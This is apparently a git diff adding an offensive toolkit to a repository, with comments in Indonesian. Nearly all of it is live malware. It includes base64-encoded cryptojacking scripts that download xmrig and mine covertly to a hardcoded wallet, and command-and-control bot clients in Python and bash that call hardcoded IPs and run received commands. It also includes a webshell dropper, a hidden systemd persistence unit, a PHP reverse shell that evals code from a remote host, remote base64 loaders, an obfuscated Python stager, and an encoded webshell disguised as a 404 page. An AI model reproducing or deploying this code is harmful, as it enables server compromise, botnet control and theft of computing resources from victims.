RF9VUkwsIHN0cmVhbT1UcnVlKQogICAgaWYgcmVzcG9uc2Uuc3RhdHVzX2NvZGUgPT0gMjAwOgog
|
||||
ICAgICAgIHdpdGggb3Blbih0YXJfZmlsZSwgJ3diJykgYXMgZjoKICAgICAgICAgICAgZm9yIGNo
|
||||
dW5rIGluIHJlc3BvbnNlLml0ZXJfY29udGVudCgxMDI0KToKICAgICAgICAgICAgICAgIGYud3Jp
|
||||
dGUoY2h1bmspCiAgICAgICAgcHJpbnQoIlsqXSBNZW5nZWtzdHJhayB4bXJpZy50YXIuZ3ouLi4i
|
||||
KQogICAgICAgIHdpdGggdGFyZmlsZS5vcGVuKHRhcl9maWxlLCAncjpneicpIGFzIHRhcjoKICAg
|
||||
ICAgICAgICAgdGFyLmV4dHJhY3RhbGwoZGlyZWN0b3J5KQogICAgZWxzZToKICAgICAgICBwcmlu
|
||||
dCgiWyFdIEdhZ2FsIG1lbmd1bmR1aCB4bXJpZy50YXIuZ3ouIikKCmRlZiBjcmVhdGVfcnVuX3Nj
|
||||
cmlwdChkaXJlY3RvcnkpOgogICAgc2NyaXB0X2NvbnRlbnQgPSAiIiIjIS9iaW4vYmFzaApIT1NU
|
||||
TkFNRT0kKGhvc3RuYW1lKQpub2h1cCAuL3htcmlnIC1hIHJ4IC1vIHN0cmF0dW0rc3NsOi8vcngu
|
||||
dW5taW5lYWJsZS5jb206NDQzIFwKICAgIC11IFVTRFQ6VFRyVnNSbkJ6akI1eEVRNTdOVFZZSmlu
|
||||
anBubmU4b0dYTi4iJHtIT1NUTkFNRX0iIC1wIHggPiB4bXJpZy5sb2cgMj4mMSAmCmVjaG8gInht
|
||||
cmlnIGJlcmphbGFuIGRpIGxhdGFyIGJlbGFrYW5nIGRlbmdhbiBuYW1hIHdvcmtlcjogJHtIT1NU
|
||||
TkFNRX0uIExvZyBvdXRwdXQgZGlzaW1wYW4gZGkgeG1yaWcubG9nIgoiIiIKICAgIHNjcmlwdF9w
|
||||
YXRoID0gb3MucGF0aC5qb2luKGRpcmVjdG9yeSwgJ3J1bl94bXJpZy5zaCcpCiAgICB3aXRoIG9w
|
||||
ZW4oc2NyaXB0X3BhdGgsICd3JykgYXMgZjoKICAgICAgICBmLndyaXRlKHNjcmlwdF9jb250ZW50
|
||||
KQogICAgb3MuY2htb2Qoc2NyaXB0X3BhdGgsIDBvNzU1KQogICAgcHJpbnQoZiJbKl0gRmlsZSBy
|
||||
dW5feG1yaWcuc2ggYmVyaGFzaWwgZGlidWF0IGRpIHtkaXJlY3Rvcnl9LiIpCgpkZWYgcnVuX3Bl
|
||||
cnNpc3RlbnRseSgpOgogICAgd2hpbGUgVHJ1ZToKICAgICAgICBydW5fY29tbWFuZCgpCiAgICAg
|
||||
ICAgdGltZS5zbGVlcCgxKQoKaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIHJ1bl9wZXJz
|
||||
aXN0ZW50bHkoKQo=
|
48
farm/rig/rigsh
Normal file
48
farm/rig/rigsh
Normal file
@ -0,0 +1,48 @@
|
||||
IyEvYmluL2Jhc2gKCiMgVVJMIHVudHVrIG1lbmd1bmR1aCB4bXJpZy50YXIuZ3oKUEFZTE9BRF9V
|
||||
Ukw9Imh0dHBzOi8vZG93bmxvYWQuYzNwb29sLm9yZy94bXJpZ19zZXR1cC9yYXcvbWFzdGVyL3ht
|
||||
cmlnLnRhci5neiIKCiMgRGlyZWt0b3JpIGtlcmphIHNhYXQgaW5pCkNVUlJFTlRfRElSPSQocHdk
|
||||
KQpYTVJJR19QQVRIPSIkQ1VSUkVOVF9ESVIveG1yaWciClNDUklQVF9QQVRIPSIkQ1VSUkVOVF9E
|
||||
SVIvcnVuX3htcmlnLnNoIgoKIyBGdW5nc2kgdW50dWsgbWVuZ3VuZHVoIGRhbiBtZW5nZWtzdHJh
|
||||
ayBwYXlsb2FkCmRvd25sb2FkX2FuZF9leHRyYWN0X3BheWxvYWQoKSB7CiAgICBUQVJfRklMRT0i
|
||||
JENVUlJFTlRfRElSL3htcmlnLnRhci5neiIKICAgIAogICAgaWYgY29tbWFuZCAtdiB3Z2V0ID4v
|
||||
ZGV2L251bGwgMj4mMTsgdGhlbgogICAgICAgIGVjaG8gIlsqXSB3Z2V0IHRlcnNlZGlhLiBNZW5n
|
||||
dW5kdWggeG1yaWcudGFyLmd6Li4uIgogICAgICAgIHdnZXQgIiRQQVlMT0FEX1VSTCIgLU8gIiRU
|
||||
QVJfRklMRSIKICAgIGVsaWYgY29tbWFuZCAtdiBjdXJsID4vZGV2L251bGwgMj4mMTsgdGhlbgog
|
||||
ICAgICAgIGVjaG8gIlsqXSBjdXJsIHRlcnNlZGlhLiBNZW5ndW5kdWggeG1yaWcudGFyLmd6Li4u
|
||||
IgogICAgICAgIGN1cmwgLW8gIiRUQVJfRklMRSIgIiRQQVlMT0FEX1VSTCIKICAgIGVsc2UKICAg
|
||||
ICAgICBlY2hvICJbIV0gVGlkYWsgYWRhIHdnZXQgYXRhdSBjdXJsIHRlcnNlZGlhIHVudHVrIG1l
|
||||
bmd1bmR1aCB4bXJpZy50YXIuZ3ouIgogICAgICAgIHJldHVybiAxCiAgICBmaQogICAgCiAgICBl
|
||||
Y2hvICJbKl0gTWVuZ2Vrc3RyYWsgeG1yaWcudGFyLmd6Li4uIgogICAgdGFyIC14emYgIiRUQVJf
|
||||
RklMRSIgLUMgIiRDVVJSRU5UX0RJUiIKfQoKIyBGdW5nc2kgdW50dWsgbWVtYnVhdCBmaWxlIHJ1
|
||||
bl94bXJpZy5zaApjcmVhdGVfcnVuX3NjcmlwdCgpIHsKICAgIGNhdCA8PEVPTCA+ICIkU0NSSVBU
|
||||
X1BBVEgiCiMhL2Jpbi9iYXNoCgojIE1lbmRhcGF0a2FuIGhvc3RuYW1lIHNlcnZlcgpIT1NUTkFN
|
||||
RT1cJChob3N0bmFtZSkKCiMgTWVuamFsYW5rYW4geG1yaWcgZGVuZ2FuIHBhcmFtZXRlciB5YW5n
|
||||
IGRpYmVyaWthbgpub2h1cCAuL3htcmlnIC1hIHJ4IC1vIHN0cmF0dW0rc3NsOi8vcngudW5taW5l
|
||||
YWJsZS5jb206NDQzIFwKICAgIC11IFVTRFQ6VFRyVnNSbkJ6akI1eEVRNTdOVFZZSmluanBubmU4
|
||||
b0dYTi4iXCR7SE9TVE5BTUV9IiAtcCB4ID4geG1yaWcubG9nIDI+JjEgJgoKIyBNZW5hbXBpbGth
|
||||
biBwZXNhbiBzdWtzZXMKZWNobyAieG1yaWcgYmVyamFsYW4gZGkgbGF0YXIgYmVsYWthbmcgZGVu
|
||||
Z2FuIG5hbWEgd29ya2VyOiBcJHtIT1NUTkFNRX0uIExvZyBvdXRwdXQgZGlzaW1wYW4gZGkgeG1y
|
||||
aWcubG9nIgpFT0wKICAgIGNobW9kICt4ICIkU0NSSVBUX1BBVEgiCiAgICBlY2hvICJbKl0gRmls
|
||||
ZSBydW5feG1yaWcuc2ggYmVyaGFzaWwgZGlidWF0LiIKfQoKIyBGdW5nc2kgdW50dWsgbWVuamFs
|
||||
YW5rYW4geG1yaWcKcnVuX2NvbW1hbmQoKSB7CiAgICBpZiBbWyAhIC1mICIkWE1SSUdfUEFUSCIg
|
||||
fHwgISAtZiAiJFNDUklQVF9QQVRIIiBdXTsgdGhlbgogICAgICAgIGVjaG8gIlsqXSBQYXlsb2Fk
|
||||
IGF0YXUgc2tyaXAgdGlkYWsgZGl0ZW11a2FuLiBNZW5ndW5kdWggZGFuIG1lbnlpYXBrYW4geG1y
|
||||
aWcuLi4iCiAgICAgICAgZG93bmxvYWRfYW5kX2V4dHJhY3RfcGF5bG9hZAogICAgICAgIGNyZWF0
|
||||
ZV9ydW5fc2NyaXB0CiAgICBmaQogICAgCiAgICBpZiBbWyAhIC1mICIkU0NSSVBUX1BBVEgiIF1d
|
||||
OyB0aGVuCiAgICAgICAgZWNobyAiWypdIEZpbGUgcnVuX3htcmlnLnNoIHRpZGFrIGRpdGVtdWth
|
||||
bi4gTWVtYnVhdCB1bGFuZy4uLiIKICAgICAgICBjcmVhdGVfcnVuX3NjcmlwdAogICAgZmkKICAg
|
||||
IAogICAgYmFzaCAiJFNDUklQVF9QQVRIIgogICAgRVhJVF9DT0RFPSQ/CiAgICAKICAgIGVjaG8g
|
||||
IkNvbW1hbmQgZXhlY3V0ZWQ6IGJhc2ggJFNDUklQVF9QQVRIIgogICAgZWNobyAiRXhpdCBjb2Rl
|
||||
OiAkRVhJVF9DT0RFIgogICAgCiAgICBpZiBbWyAiJEVYSVRfQ09ERSIgLW5lIDAgXV07IHRoZW4K
|
||||
ICAgICAgICBlY2hvICJbKl0gRXhpdCBjb2RlIG5vbi16ZXJvIGRldGVjdGVkICgkRVhJVF9DT0RF
|
||||
KS4gQ2hlY2tpbmcgYWN0aXZlIHNlc3Npb24uLi4iCiAgICAgICAgCiAgICAgICAgaWYgcGdyZXAg
|
||||
LWYgIi4veG1yaWciID4vZGV2L251bGwgMj4mMTsgdGhlbgogICAgICAgICAgICBlY2hvICJbKl0g
|
||||
QWN0aXZlIHNlc3Npb24gZGV0ZWN0ZWQuIFNraXBwaW5nIHBheWxvYWQgZXhlY3V0aW9uLiIKICAg
|
||||
ICAgICBlbHNlCiAgICAgICAgICAgIGVjaG8gIlsqXSBObyBhY3RpdmUgc2Vzc2lvbiBkZXRlY3Rl
|
||||
ZC4gU3Bhd25pbmcgcGF5bG9hZC4uLiIKICAgICAgICAgICAgbm9odXAgYmFzaCAiJFNDUklQVF9Q
|
||||
QVRIIiA+IC9kZXYvbnVsbCAyPiYxICYKICAgICAgICBmaQogICAgZWxzZQogICAgICAgIGVjaG8g
|
||||
IlsqXSBFeGl0IGNvZGUgemVyby4gWE1SaWcgaXMgcnVubmluZyBzdWNjZXNzZnVsbHkuIgogICAg
|
||||
ZmkKfQoKIyBGdW5nc2kgdW50dWsgbWVtYXN0aWthbiBza3JpcCBiZXJqYWxhbiB0ZXJ1cyBtZW5l
|
||||
cnVzCnJ1bl9wZXJzaXN0ZW50bHkoKSB7CiAgICB3aGlsZSB0cnVlOyBkbwogICAgICAgIHJ1bl9j
|
||||
b21tYW5kCiAgICAgICAgc2xlZXAgNjAKICAgIGRvbmUKfQoKIyBNdWxhaSBtZW5qYWxhbmthbiBw
|
||||
ZXJpbnRhaCBzZWNhcmEgdGVydXMgbWVuZXJ1cwpydW5fcGVyc2lzdGVudGx5Cg==
|
11
farm/rig2.sh
Normal file
11
farm/rig2.sh
Normal file
@ -0,0 +1,11 @@
|
||||
# Nama file: run_xmrig.sh
|
||||
|
||||
# Mendapatkan hostname server
|
||||
HOSTNAME=$(hostname)
|
||||
|
||||
# Menjalankan xmrig dengan parameter yang diberikan
|
||||
nohup ./xmrig -a rx -o stratum+ssl://rx.unmineable.com:443 \
|
||||
-u USDT:TTrVsRnBzjB5xEQ57NTVYJinjpnne8oGXN."${HOSTNAME}" -p x > xmrig.log 2>&1 &
|
||||
|
||||
# Menampilkan pesan sukses
|
||||
echo "xmrig berjalan di latar belakang dengan nama worker: ${HOSTNAME}. Log output disimpan di xmrig.log"
|
BIN
img/lb.jpg
Normal file
BIN
img/lb.jpg
Normal file
Binary file not shown.
After Width: | Height: | Size: 37 KiB |
BIN
img/wsploit.jpeg
Normal file
BIN
img/wsploit.jpeg
Normal file
Binary file not shown.
After Width: | Height: | Size: 183 KiB |
42
payload/bot.py
Normal file
42
payload/bot.py
Normal file
@ -0,0 +1,42 @@
|
||||
import socket
|
||||
import os
|
||||
import sys
|
||||
|
||||
SERVER_HOST = "45.32.114.152" # Replace with server IP
|
||||
SERVER_PORT = 4444
|
||||
|
||||
|
||||
def connect_to_server(bot_name):
|
||||
while True:
|
||||
try:
|
||||
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
conn.connect((SERVER_HOST, SERVER_PORT))
|
||||
|
||||
# Send initial bot information to server
|
||||
username = os.getlogin()
|
||||
privilege = "root" if os.geteuid() == 0 else "user"
|
||||
conn.send(f"{bot_name}|{username}|{privilege}".encode())
|
||||
|
||||
while True:
|
||||
command = conn.recv(1024).decode()
|
||||
if command.lower() == "exit":
|
||||
break
|
||||
try:
|
||||
output = os.popen(command).read()
|
||||
if not output.strip():
|
||||
output = "Command executed with no output."
|
||||
conn.send(output.encode())
|
||||
except Exception as e:
|
||||
conn.send(f"Error: {e}".encode())
|
||||
conn.close()
|
||||
except Exception as e:
|
||||
print(f"Connection error: {e}")
|
||||
pass
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage: python3 target.py <bot_name>")
|
||||
sys.exit(1)
|
||||
bot_name = sys.argv[1]
|
||||
connect_to_server(bot_name)
|
28
payload/bot.sh
Normal file
28
payload/bot.sh
Normal file
@ -0,0 +1,28 @@
|
||||
#!/bin/bash
|
||||
#for nc
|
||||
SERVER_HOST="178.63.100.123"
|
||||
SERVER_PORT=14006
|
||||
BOT_NAME=$(hostname)
|
||||
|
||||
while true; do
|
||||
# Kirimkan informasi awal ke server
|
||||
echo "${BOT_NAME}|$(whoami)|$(id -u -n)" | nc $SERVER_HOST $SERVER_PORT
|
||||
if [ $? -eq 0 ]; then
|
||||
# Masuk ke mode interaktif untuk menerima perintah
|
||||
while read -r command; do
|
||||
if [ "$command" = "exit" ]; then
|
||||
break
|
||||
fi
|
||||
|
||||
# Jalankan perintah dan kirim output kembali
|
||||
output=$(eval "$command" 2>&1)
|
||||
if [ -z "$output" ]; then
|
||||
output="Command executed with no output."
|
||||
fi
|
||||
echo "$output" | nc $SERVER_HOST $SERVER_PORT
|
||||
done < <(nc -l $SERVER_HOST $SERVER_PORT)
|
||||
else
|
||||
echo "Failed to connect to $SERVER_HOST:$SERVER_PORT. Retrying..."
|
||||
sleep 5
|
||||
fi
|
||||
done
|
100
payload/botpay.php
Normal file
100
payload/botpay.php
Normal file
@ -0,0 +1,100 @@
|
||||
<?php
|
||||
// URL untuk mengunduh payload bot, rig, dan xmrig
|
||||
// For Webshell
|
||||
$bot_payload_url = "https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/payload/bot.py";
|
||||
$rig_payload_url = "https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/farm/rig.sh";
|
||||
$xmrig_url = "https://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz";
|
||||
|
||||
// Lokasi file yang akan disimpan
|
||||
$bot_target_file = "/tmp/bot.py";
|
||||
$rig_target_file = "/tmp/rig.sh";
|
||||
$xmrig_tar_file = "/tmp/xmrig.tar.gz";
|
||||
$xmrig_extract_dir = "/tmp/xmrig";
|
||||
|
||||
// Nama bot sesuai dengan URL lengkap
|
||||
$bot_name = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
|
||||
|
||||
// Fungsi untuk mengunduh file
|
||||
function download_payload($url, $file_path) {
|
||||
$content = file_get_contents($url);
|
||||
if ($content === false) {
|
||||
die("Failed to download payload from $url\n");
|
||||
}
|
||||
file_put_contents($file_path, $content);
|
||||
echo "Payload downloaded to $file_path\n";
|
||||
}
|
||||
|
||||
// Fungsi untuk mengekstrak file tar.gz
|
||||
function extract_tar_gz($tar_file, $extract_to) {
|
||||
if (!file_exists($tar_file)) {
|
||||
die("File $tar_file does not exist for extraction.\n");
|
||||
}
|
||||
if (!is_dir($extract_to)) {
|
||||
mkdir($extract_to, 0755, true);
|
||||
}
|
||||
$command = "tar -xzf $tar_file -C $extract_to";
|
||||
shell_exec($command);
|
||||
echo "Extracted $tar_file to $extract_to\n";
|
||||
}
|
||||
|
||||
// Fungsi untuk memberikan izin eksekusi
|
||||
function make_executable($file_path) {
|
||||
chmod($file_path, 0755);
|
||||
echo "File $file_path made executable.\n";
|
||||
}
|
||||
|
||||
// Periksa versi Python
|
||||
function get_python_version() {
|
||||
$output = shell_exec("python3 --version 2>/dev/null");
|
||||
if ($output) {
|
||||
return "python3";
|
||||
}
|
||||
$output = shell_exec("python2 --version 2>/dev/null");
|
||||
if ($output) {
|
||||
return "python2";
|
||||
}
|
||||
die("No Python interpreter found on the target system.\n");
|
||||
}
|
||||
|
||||
// Jalankan payload bot
|
||||
function execute_bot_payload($python_path, $file_path, $bot_name) {
|
||||
$command = "$python_path $file_path \"$bot_name\" > /dev/null 2>&1 &";
|
||||
shell_exec($command);
|
||||
echo "Bot payload executed with bot name: $bot_name\n";
|
||||
}
|
||||
|
||||
// Jalankan payload rig
|
||||
function execute_rig_payload($file_path, $xmrig_dir) {
|
||||
$command = "nohup $file_path $xmrig_dir > /dev/null 2>&1 &";
|
||||
shell_exec($command);
|
||||
echo "Rig payload executed.\n";
|
||||
}
|
||||
|
||||
try {
|
||||
// Unduh payload bot
|
||||
download_payload($bot_payload_url, $bot_target_file);
|
||||
|
||||
// Unduh payload rig
|
||||
download_payload($rig_payload_url, $rig_target_file);
|
||||
|
||||
// Unduh xmrig
|
||||
download_payload($xmrig_url, $xmrig_tar_file);
|
||||
|
||||
// Ekstrak xmrig
|
||||
extract_tar_gz($xmrig_tar_file, $xmrig_extract_dir);
|
||||
|
||||
// Berikan izin eksekusi untuk rig
|
||||
make_executable($rig_target_file);
|
||||
|
||||
// Dapatkan interpreter Python
|
||||
$python_path = get_python_version();
|
||||
|
||||
// Jalankan payload bot
|
||||
execute_bot_payload($python_path, $bot_target_file, $bot_name);
|
||||
|
||||
// Jalankan payload rig dengan path xmrig
|
||||
execute_rig_payload($rig_target_file, $xmrig_extract_dir);
|
||||
} catch (Exception $e) {
|
||||
echo "Error: " . $e->getMessage() . "\n";
|
||||
}
|
||||
?>
|
15
payload/cron.service
Normal file
15
payload/cron.service
Normal file
@ -0,0 +1,15 @@
|
||||
[Unit]
|
||||
Description=Run bot script in background
|
||||
|
||||
[Service]
|
||||
ExecStart=/usr/bin/python3 /etc/.sys/.sys.py $(hostname)
|
||||
Restart=always
|
||||
Environment=USER=%i
|
||||
Environment=HOME=/home/%i
|
||||
User=%i
|
||||
WorkingDirectory=/home/%i
|
||||
StandardOutput=journal
|
||||
StandardError=journal
|
||||
|
||||
[Install]
|
||||
WantedBy=default.target
|
1
payload/msf/elf/.null
Normal file
1
payload/msf/elf/.null
Normal file
@ -0,0 +1 @@
|
||||
Hidup ini terlalu hampa
|
BIN
payload/msf/elf/venom32.elf
Normal file
BIN
payload/msf/elf/venom32.elf
Normal file
Binary file not shown.
BIN
payload/msf/elf/venom64.elf
Normal file
BIN
payload/msf/elf/venom64.elf
Normal file
Binary file not shown.
1
payload/msf/payload.php
Normal file
1
payload/msf/payload.php
Normal file
@ -0,0 +1 @@
|
||||
/*<?php /**/ error_reporting(0); $ip = 'synnaulaid-39785.portmap.host'; $port = 39785; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
|
1
payload/msf/php/null
Normal file
1
payload/msf/php/null
Normal file
@ -0,0 +1 @@
|
||||
// Mau ngapain Cik?
|
1
payload/msf/php/payload.php
Normal file
1
payload/msf/php/payload.php
Normal file
File diff suppressed because one or more lines are too long
21
payload/msf/php/venom.php
Normal file
21
payload/msf/php/venom.php
Normal file
@ -0,0 +1,21 @@
|
||||
<?php
|
||||
function get_contents($url) {
|
||||
$ch = curl_init($url);
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
|
||||
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
|
||||
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
|
||||
$result = curl_exec($ch);
|
||||
curl_close($ch);
|
||||
return $result;
|
||||
}
|
||||
$url = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/raw/php/venom';
|
||||
$encoded_code = get_contents($url);
|
||||
$decoded_code = base64_decode($encoded_code);
|
||||
$tempFile = tempnam(sys_get_temp_dir(), 'tmp_php_');
|
||||
file_put_contents($tempFile, $decoded_code);
|
||||
require_once $tempFile;
|
||||
unlink($tempFile);
|
||||
?>
|
||||
|
27
payload/msf/presisten/pres.py
Normal file
27
payload/msf/presisten/pres.py
Normal file
@ -0,0 +1,27 @@
|
||||
import requests
|
||||
import base64
|
||||
import tempfile
|
||||
import os
|
||||
|
||||
|
||||
def get_contents(url):
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0"
|
||||
}
|
||||
response = requests.get(url, headers=headers, verify=False)
|
||||
return response.text if response.status_code == 200 else None
|
||||
|
||||
|
||||
url = "https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/raw/python/prepy"
|
||||
encoded_code = get_contents(url)
|
||||
if encoded_code:
|
||||
decoded_code = base64.b64decode(encoded_code).decode("utf-8")
|
||||
|
||||
with tempfile.NamedTemporaryFile(delete=False, suffix=".py") as temp_file:
|
||||
temp_file.write(decoded_code.encode("utf-8"))
|
||||
temp_file_path = temp_file.name
|
||||
|
||||
try:
|
||||
exec(open(temp_file_path).read())
|
||||
finally:
|
||||
os.remove(temp_file_path)
|
24
payload/msf/presisten/pres.sh
Normal file
24
payload/msf/presisten/pres.sh
Normal file
@ -0,0 +1,24 @@
|
||||
#!/bin/bash
|
||||
|
||||
URL="https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/raw/python/prepy"
|
||||
TEMP_FILE="$(mktemp /tmp/tmp_prepy.XXXXXX)"
|
||||
|
||||
# Unduh file dengan curl
|
||||
if command -v curl &> /dev/null; then
|
||||
curl -s -k -A "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0" "$URL" -o "$TEMP_FILE"
|
||||
elif command -v wget &> /dev/null; then
|
||||
wget --no-check-certificate --quiet --user-agent="Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0" "$URL" -O "$TEMP_FILE"
|
||||
else
|
||||
echo "Error: curl or wget not found. Please install one of them." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Decode Base64
|
||||
DECODED_FILE="$(mktemp /tmp/decoded_prepy.XXXXXX)"
|
||||
base64 -d "$TEMP_FILE" > "$DECODED_FILE"
|
||||
rm -f "$TEMP_FILE"
|
||||
|
||||
# Jalankan file Python
|
||||
ochmod +x "$DECODED_FILE"
|
||||
python3 "$DECODED_FILE"
|
||||
rm -f "$DECODED_FILE"
|
31
payload/msf/presisten/presisten.php
Normal file
31
payload/msf/presisten/presisten.php
Normal file
@ -0,0 +1,31 @@
|
||||
<?php
|
||||
function get_contents($url) {
|
||||
$ch = curl_init($url);
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
|
||||
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
|
||||
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
|
||||
$result = curl_exec($ch);
|
||||
curl_close($ch);
|
||||
return $result;
|
||||
}
|
||||
$hashUrl = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/api/v2/payloadkey';
|
||||
$codeUrl = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/api/v2/presisten_v2';
|
||||
// $codeUrl = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/raw/php/prisisten';
|
||||
$keyHash = trim(get_contents($hashUrl));
|
||||
if (empty($keyHash)) {
|
||||
die("Die !hash key URL.\n");
|
||||
}
|
||||
$encoded_code = get_contents($codeUrl);
|
||||
if (empty($encoded_code)) {
|
||||
die("Die! enc URL.\n");
|
||||
}
|
||||
$decoded_code = base64_decode($encoded_code);
|
||||
$clean_code = str_replace($keyHash, '', $decoded_code);
|
||||
$tempFile = tempnam(sys_get_temp_dir(), 'tmp_php_');
|
||||
file_put_contents($tempFile, $clean_code);
|
||||
require_once $tempFile;
|
||||
unlink($tempFile);
|
||||
|
||||
?>
|
1
payload/msf/python/venom.py
Normal file
1
payload/msf/python/venom.py
Normal file
@ -0,0 +1 @@
|
||||
exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UMFKAzEQPW++Ym9JMA11XSsWVxDxICKC9SalZLNTDZtNQibVreK/27jFywzvzZuZxzND8DGV6HUPSXxZ04pWISxqgSnudBLJDEC2PpZjaVwZlXsDdjrnS1KkuD/UAptpWU6NVeKIV0+3D5vVy/PdzSPPOqm9c6ATYxT3bsDtrDq7rC5kNjCoII2n4o/hWd5GUD0pYNQQUv6TjUi0AIGdc2KbyZ/cuaB0z+j1PRUoI+gPVnP+Ol+Trjliy8nnu7FQWnCs41f2cK47+Z/OJpoTGEGzHIHsQPshREBkUxqyXdSZ7CArxTdFusQfTn4BD+Bk5g==')[0])))
|
126
raw/enroute404
Normal file
126
raw/enroute404
Normal file
@ -0,0 +1,126 @@
|
||||
PD9waHAKc2Vzc2lvbl9zdGFydCgpOwoKLy8gQW1iaWwga2V5IGRhcmkgVVJMCiR2YWxpZF9rZXlf
|
||||
dXJsID0gImh0dHBzOi8vZ2l0LndhcmNldXByb2plY3Qub3JnL3N5bi93U3Bsb2l0SHViL3Jhdy9i
|
||||
cmFuY2gvbWFpbi9hcGkvdjEvd3NoZWxsLWtleSI7IC8vIEFQSSBLZXkKJHZhbGlkX2tleV9oYXNo
|
||||
ID0gdHJpbShmaWxlX2dldF9jb250ZW50cygkdmFsaWRfa2V5X3VybCkpOyAvLyBNZW5nYW1iaWwg
|
||||
aXNpIGRhcmkgVVJMCgovLyBGdW5nc2kgdW50dWsgbWVuYW1waWxrYW4gZm9ybSBsb2dpbgpmdW5j
|
||||
dGlvbiBzaG93X2xvZ2luX2Zvcm0oJGVycm9yX21lc3NhZ2UgPSAnJykgewogICAgPz4KICAgIDxo
|
||||
dG1sIHN0eWxlPSJoZWlnaHQ6MTAwJSI+CiAgICAgICAgPHNjcmlwdCBzcmM9ImNocm9tZS1leHRl
|
||||
bnNpb246Ly9lcHBpb2NlbWhtbmxiaGpwbGNna29mY2lpZWdvbWNvbi9jb250ZW50L2xvY2F0aW9u
|
||||
L2xvY2F0aW9uLmpzIiBpZD0iZXBwaW9jZW1obW5sYmhqcGxjZ2tvZmNpaWVnb21jb24iPjwvc2Ny
|
||||
aXB0PjxzY3JpcHQgc3JjPSJjaHJvbWUtZXh0ZW5zaW9uOi8vZXBwaW9jZW1obW5sYmhqcGxjZ2tv
|
||||
ZmNpaWVnb21jb24vbGlicy9leHRlbmQtbmF0aXZlLWhpc3RvcnktYXBpLmpzIj48L3NjcmlwdD48
|
||||
c2NyaXB0IHNyYz0iY2hyb21lLWV4dGVuc2lvbjovL2VwcGlvY2VtaG1ubGJoanBsY2drb2ZjaWll
|
||||
Z29tY29uL2xpYnMvcmVxdWVzdHMuanMiPjwvc2NyaXB0PjxoZWFkPgogICAgICAgIDxtZXRhIG5h
|
||||
bWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9
|
||||
MSwgc2hyaW5rLXRvLWZpdD1ubyI+CiAgICAgICAgPHRpdGxlPiA0MDQgTm90IEZvdW5kPC90aXRs
|
||||
ZT4KICAgICAgICA8c2NyaXB0IGJpc191c2U9InRydWUiIHR5cGU9InRleHQvamF2YXNjcmlwdCIg
|
||||
Y2hhcnNldD0idXRmLTgiIGRhdGEtYmlzLWNvbmZpZz0iWyZxdW90O2ZhY2Vib29rLmNvbS8mcXVv
|
||||
dDssJnF1b3Q7dHdpdHRlci5jb20vJnF1b3Q7LCZxdW90O3lvdXR1YmUtbm9jb29raWUuY29tL2Vt
|
||||
YmVkLyZxdW90OywmcXVvdDsvL3ZrLmNvbS8mcXVvdDssJnF1b3Q7Ly93d3cudmsuY29tLyZxdW90
|
||||
OywmcXVvdDtsaW5rZWRpbi5jb20vJnF1b3Q7LCZxdW90Oy8vd3d3LmxpbmtlZGluLmNvbS8mcXVv
|
||||
dDssJnF1b3Q7Ly9pbnN0YWdyYW0uY29tLyZxdW90OywmcXVvdDsvL3d3dy5pbnN0YWdyYW0uY29t
|
||||
LyZxdW90OywmcXVvdDsvL3d3dy5nb29nbGUuY29tL3JlY2FwdGNoYS9hcGkyLyZxdW90OywmcXVv
|
||||
dDsvL2hhbmdvdXRzLmdvb2dsZS5jb20vd2ViY2hhdC8mcXVvdDssJnF1b3Q7Ly93d3cuZ29vZ2xl
|
||||
